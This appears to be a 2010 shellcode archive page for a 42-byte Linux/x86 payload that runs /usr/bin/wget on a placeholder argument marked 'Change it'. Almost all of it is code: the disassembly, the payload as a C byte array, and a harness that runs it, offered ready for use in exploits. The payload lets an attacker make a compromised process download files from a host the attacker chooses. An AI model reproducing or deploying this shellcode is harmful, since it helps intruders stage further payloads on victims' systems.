Exploit the possiblities

Linux/x86 execve("/usr/bin/wget","aaaa"); Shellcode

Linux/x86 execve("/usr/bin/wget","aaaa"); Shellcode
Posted May 19, 2010
Authored by Jonathan Salwan | Site shell-storm.org

42 bytes small Linux/x86 execve("/usr/bin/wget","aaaa"); shellcode.

tags | x86, shellcode
systems | linux
MD5 | 8d5de3d0290c904efd870574a51eeaaa

Linux/x86 execve("/usr/bin/wget","aaaa"); Shellcode

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/*
Title: Linux x86 execve("/usr/bin/wget", "aaaa"); - 42 bytes
Author: Jonathan Salwan <submit AT shell-storm.org>
Web: http://www.shell-storm.org
Twitter: http://twitter.com/shell_storm


!Database of Shellcodes http://www.shell-storm.org/shellcode/


08048054 <.text>:
8048054: 6a 0b push $0xb
8048056: 58 pop %eax
8048057: 99 cltd
8048058: 52 push %edx
8048059: 68 61 61 61 61 push $0x61616161
804805e: 89 e1 mov %esp,%ecx
8048060: 52 push %edx
8048061: 6a 74 push $0x74
8048063: 68 2f 77 67 65 push $0x6567772f
8048068: 68 2f 62 69 6e push $0x6e69622f
804806d: 68 2f 75 73 72 push $0x7273752f
8048072: 89 e3 mov %esp,%ebx
8048074: 52 push %edx
8048075: 51 push %ecx
8048076: 53 push %ebx
8048077: 89 e1 mov %esp,%ecx
8048079: cd 80 int $0x80
804807b: 40 inc %eax
804807c: cd 80 int $0x80
*/

#include <stdio.h>

char sc[] = "\x6a\x0b\x58\x99\x52"
"\x68\x61\x61\x61\x61" // Change it
"\x89\xe1\x52\x6a\x74"
"\x68\x2f\x77\x67\x65"
"\x68\x2f\x62\x69\x6e"
"\x68\x2f\x75\x73\x72"
"\x89\xe3\x52\x51\x53"
"\x89\xe1\xcd\x80\x40"
"\xcd\x80";

int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(sc));
(*(void(*)()) sc)();

return 0;
}

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